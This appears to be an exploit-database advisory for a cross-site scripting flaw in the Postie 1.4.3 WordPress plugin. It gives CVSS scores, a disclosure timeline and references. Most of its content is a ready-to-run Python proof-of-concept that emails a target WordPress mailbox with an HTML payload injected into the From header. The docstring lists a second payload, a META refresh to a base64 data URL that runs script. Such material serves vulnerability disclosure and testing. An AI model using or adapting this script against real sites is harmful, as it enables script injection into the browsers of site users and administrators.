Postie 1.4.3 XSS

2014.06.21
Credit: loneferret
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

#!/usr/bin/python ''' Author: loneferret of Offensive Security Product: Postie Version: 1.4.3 Software Download: http://wordpress.org/extend/plugins/postie/ Timeline: 29 May 2012: Vulnerability reported to CERT 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 23 Jul 2012: Update received from CERT. Vendor was advised to contact researcher. No other contact received. 08 Aug 2012: Public Disclosure Installed On: Ubuntu Server LAMP 8.04 Wordpress: 3.3.1 Client Test OS: MAC OS Lion Browser Used: Firefox 12 Injection Point: From Injection Payload(s): 1: <BODY ONLOAD=alert('XSS')> 2: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> ''' import smtplib, urllib2 payload = """<BODY ONLOAD=alert('XSS')>""" def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@offsec.local" + payload + "\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@offsec.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@offsec.local" smtpsrv = "172.16.84.171" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password)

References:

http://xforce.iss.net/xforce/xfdb/77537
http://www.securityfocus.com/bid/54909
http://osvdb.org/84532
http://secunia.com/advisories/50207
http://www.exploit-db.com/exploits/20360


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